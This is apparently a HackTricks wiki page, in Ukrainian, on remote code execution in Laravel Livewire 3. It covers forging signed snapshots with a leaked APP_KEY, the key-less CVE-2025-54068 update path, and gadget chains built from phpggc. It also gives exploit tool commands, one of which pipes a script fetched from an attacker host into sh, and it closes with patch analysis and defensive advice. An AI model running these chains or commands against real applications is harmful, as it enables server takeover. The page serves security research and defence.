Laravel Livewire Hydration & Synthesizer Abuse

Tip

Вчіться та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вчіться та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вчіться та практикуйте Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) Перегляньте повний каталог HackTricks Training для assessment tracks (ARTA/GRTA/AzRTA) і Linux Hacking Expert (LHE).

Підтримайте HackTricks

Підсумок state machine Livewire

Компоненти Livewire 3 обмінюються своїм станом через snapshots, що містять data, memo і checksum. Кожен POST до /livewire/update виконує rehydrate JSON snapshot на сервері та запускає поставлені в чергу calls/updates.

class Checksum {
static function verify($snapshot) {
$checksum = $snapshot['checksum'];
unset($snapshot['checksum']);
if ($checksum !== self::generate($snapshot)) {
throw new CorruptComponentPayloadException;
}
}

static function generate($snapshot) {
return hash_hmac('sha256', json_encode($snapshot), $hashKey);
}
}

Будь-хто, хто має APP_KEY (який використовується для отримання $hashKey), може підробляти arbitrary snapshots, просто перерахувавши HMAC.

Complex properties кодуються як synthetic tuples, які визначає Livewire\Drawer\BaseUtils::isSyntheticTuple(); кожен tuple має вигляд [value, {"s":"<key>", ...meta}]. Ядро hydration просто передає кожен tuple до synth, вибраного в HandleComponents::$propertySynthesizers, і рекурсивно обробляє children:

protected function hydrate($valueOrTuple, $context, $path)
{
if (! Utils::isSyntheticTuple($value = $tuple = $valueOrTuple)) return $value;
[$value, $meta] = $tuple;
$synth = $this->propertySynth($meta['s'], $context, $path);
return $synth->hydrate($value, $meta, fn ($name, $child)
=> $this->hydrate($child, $context, "{$path}.{$name}"));
}

Цей рекурсивний дизайн робить Livewire generic object-instantiation engine, щойно attacker контролює або кортежні метадані, або будь-який вкладений кортеж, оброблений під час рекурсії.

Synthesizers, що надають gadget primitives

SynthesizerПоведінка, яку контролює attacker
CollectionSynth (clctn)Створює new $meta['class']($value) після rehydrating кожного child. Будь-який class з array constructor можна створити, і кожен item сам може бути synthetic tuple.
FormObjectSynth (form)Викликає new $meta['class']($component, $path), потім призначає кожну public property з children, контрольованих attacker, через $hydrateChild. Constructors, що приймають два loosely typed parameters (або default args), достатні для доступу до arbitrary public properties.
ModelSynth (mdl)Коли key відсутній у meta, виконує return new $class;, дозволяючи zero-argument instantiation будь-якого class під контролем attacker.

Оскільки synths викликають $hydrateChild для кожного вкладеного елемента, arbitrary gadget graphs можна побудувати, вкладаючи tuples рекурсивно.

Forging snapshots, коли APP_KEY відомий

  1. Захопіть легітимний /livewire/update request і decode components[0].snapshot.
  2. Inject вкладені tuples, які вказують на gadget classes, і перерахуй checksum = hash_hmac('sha256', json_encode(snapshot_without_checksum), APP_KEY).
  3. Re-encode snapshot, залиште _token/memo без змін і replay request.

Мінімальний proof of execution використовує Guzzle’s FnStream і Flysystem’s ShardedPrefixPublicUrlGenerator. Один tuple instantiates FnStream з constructor data { "__toString": "phpinfo" }, наступний instantiates ShardedPrefixPublicUrlGenerator з [FnStreamInstance] як $prefixes. Коли Flysystem cast’ить кожен prefix до string, PHP викликає attacker-provided __toString callable, викликаючи будь-яку function без arguments.

Від function calls до повного RCE

Використовуючи Livewire instantiation primitives, Synacktiv адаптували phpggc Laravel/RCE4 chain так, щоб hydration запускав object, public Queueable state якого triggers deserialization:

  1. Queueable trait – будь-який object, що використовує Illuminate\Bus\Queueable, exposes public $chained і виконує unserialize(array_shift($this->chained)) у dispatchNextJobInChain().
  2. BroadcastEvent wrapperIlluminate\Broadcasting\BroadcastEvent (ShouldQueue) instantiates via CollectionSynth / FormObjectSynth з public $chained, заповненим даними.
  3. phpggc Laravel/RCE4Adapted – serialized blob, stored in $chained[0], builds PendingBroadcast -> Validator -> SerializableClosure\Serializers\Signed. Signed::__invoke() finally calls call_user_func_array($closure, $args), enabling system($cmd).
  4. Stealth termination – передавши другий FnStream callable, наприклад [new Laravel\Prompts\Terminal(), 'exit'], request закінчується exit() замість гучного exception, зберігаючи HTTP response чистим.

Automating snapshot forgery

synacktiv/laravel-crypto-killer now ships a livewire mode that stitches everything:

./laravel_crypto_killer.py exploit -e livewire -k base64:APP_KEY \
-j request.json --function system -p "bash -c 'id'"

Інструмент парсить захоплений snapshot, інжектить gadget tuples, перераховує checksum і друкує готовий до відправки /livewire/update payload.

CVE-2025-54068 – RCE without APP_KEY

За даними advisory від vendor, issue впливає на Livewire v3 (>= 3.0.0-beta.1 and <= 3.6.3) і є унікальним для v3.

updates об’єднуються з component state після того, як snapshot checksum перевірено. Якщо property всередині snapshot є (або стає) synthetic tuple, Livewire повторно використовує її meta під час hydrating значення update, контрольованого attacker:

protected function hydrateForUpdate($raw, $path, $value, $context)
{
$meta = $this->getMetaForPath($raw, $path);
if ($meta) {
return $this->hydrate([$value, $meta], $context, $path);
}
}

Рецепт експлуатації:

  1. Знайдіть Livewire component з не типізованою public property (наприклад, public $count;).
  2. Надішліть update, який встановлює цю property в []. Наступний snapshot тепер зберігає її як [[], {"s": "arr"}].

Мінімальний type-juggling flow виглядає так:

POST /livewire/update
...
"updates": {"count": []}

Потім наступний snapshot зберігає tuple, який лишає metadata synthsizer arr:

"count": [[], {"s": "arr"}]
  1. Сформуйте інший updates payload, де ця property містить глибоко вкладений array, що вбудовує tuples на кшталт [ <payload>, {"s":"clctn","class":"GuzzleHttp\\Psr7\\FnStream"} ].
  2. Під час recursion hydrate() обробляє кожен вкладений child окремо, тому synth keys/classes, обрані attacker’ом, будуть прийняті, навіть якщо outer tuple і checksum не змінювалися.
  3. Повторно використайте ті самі primitives CollectionSynth/FormObjectSynth, щоб інстанціювати Queueable gadget, у якого $chained[0] містить phpggc payload. Livewire обробляє підроблені updates, викликає dispatchNextJobInChain(), і досягає system(<cmd>) без знання APP_KEY.

Ключові причини, чому це працює:

  • updates не покриваються snapshot checksum.
  • getMetaForPath() довіряє тим synth metadata, які вже існували для цієї property, навіть якщо attacker раніше примусив її стати tuple через weak typing.
  • recursion разом із weak typing дозволяє кожному вкладеному array інтерпретуватися як абсолютно новий tuple, тож довільні synth keys і довільні classes зрештою доходять до hydration.

Високоцінна pre-auth ціль: Filament login forms

Applications, побудовані поверх Livewire, часто відкривають ще простішу pre-auth surface, ніж навчальна public $count; property. Наприклад, сторінки входу Filament зазвичай hydrate weakly typed $form object, який уже серіалізований як form tuple у snapshot. Це прибирає крок setup “scalar -> array -> arr tuple” повністю:

  • Snapshot уже містить щось на кшталт {"form":[{...},{"s":"form","class":"App\\Livewire\\Forms\\LoginForm"}]}.
  • Attacker може надсилати updates.form із вкладеними malicious tuples напряму, тому що recursion зрештою переінтерпретує child elements на кшталт [payload, {"s":"clctn","class":"GuzzleHttp\\Psr7\\FnStream"}].
  • Саме тому pre-auth Livewire entrypoints, які expose FormObjectSynth objects, є особливо привабливими: вони вже надають і instantiation, і assignment у public property.

Аналіз patch: зберігати raw metadata під час update recursion

Fix додає окремий шлях hydratePropertyUpdate(), щоб значення вкладених updates більше не викликали generic hydrate($child, ...) на children, контрольованих attacker’ом:

protected function hydratePropertyUpdate($valueOrTuple, $context, $path, $raw)
{
if (! Utils::isSyntheticTuple($value = $tuple = $valueOrTuple)) return $value;
[$value, $meta] = $tuple;
$synth = $this->propertySynth($meta['s'], $context, $path);

return $synth->hydrate($value, $meta, function ($name, $child) use ($context, $path, $raw) {
return $this->hydrateForUpdate($raw, "{$path}.{$name}", $child, $context);
});
}

Вплив патча на безпеку:

  • Nested updates повторно перевіряються відносно оригінального raw snapshot path замість довіри до свіжих tuple metadata, наданих attacker.
  • Recursive hydration більше не дозволяє children перевизначати s або class під час виконання.
  • Це блокує і arbitrary synthesizer switching, і arbitrary class selection всередині nested update arrays.

Livepyre – end-to-end exploitation

Livepyre автоматизує і APP_KEY-less CVE, і signed-snapshot path:

  • Fingerprints розгорнуту версію Livewire шляхом парсингу <script src="/livewire/livewire.js?id=HASH"> (або ?v=HASH) і зіставлення hash із вразливими релізами.
  • Збирає baseline snapshots, повторюючи benign actions і витягуючи components[].snapshot.
  • Генерує або payload лише з updates (CVE-2025-54068), або forged snapshot (known APP_KEY) з вбудованим phpggc chain.
  • Якщо у snapshot не знайдено параметра типу object, Livepyre переходить до brute-forcing candidate params, щоб дістатися coercible property.

Типове використання:

# CVE-2025-54068, unauthenticated
python3 Livepyre.py -u https://target/livewire/component -f system -p id

# Signed snapshot exploit with known APP_KEY
python3 Livepyre.py -u https://target/livewire/component -a base64:APP_KEY \
-f system -p "bash -c 'curl attacker/shell.sh|sh'"

-c/--check запускає non-destructive probe, -F пропускає version gating, -H and -P додають custom headers or proxies, а --function/--param налаштовують php function, яку викликає gadget chain.

Defensive considerations

  • Оновіть до fixed Livewire builds (>= 3.6.4 згідно з vendor bulletin) і розгорніть vendor patch для CVE-2025-54068.
  • Уникайте weakly typed public properties у Livewire components; explicit scalar types запобігають coercion значень property into arrays/tuples.
  • Реєструйте лише ті synthesizers, які вам справді потрібні, і розглядайте user-controlled metadata ($meta['class']) як untrusted.
  • Відхиляйте updates, що змінюють JSON type property (наприклад, scalar -> array), якщо це явно не дозволено, і повторно derive synth metadata замість повторного використання stale tuples.
  • Негайно rotate APP_KEY після будь-якого disclosure, бо він дає змогу offline snapshot forging незалежно від того, наскільки patched code-base є.

References

Tip

Вчіться та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вчіться та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вчіться та практикуйте Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) Перегляньте повний каталог HackTricks Training для assessment tracks (ARTA/GRTA/AzRTA) і Linux Hacking Expert (LHE).

Підтримайте HackTricks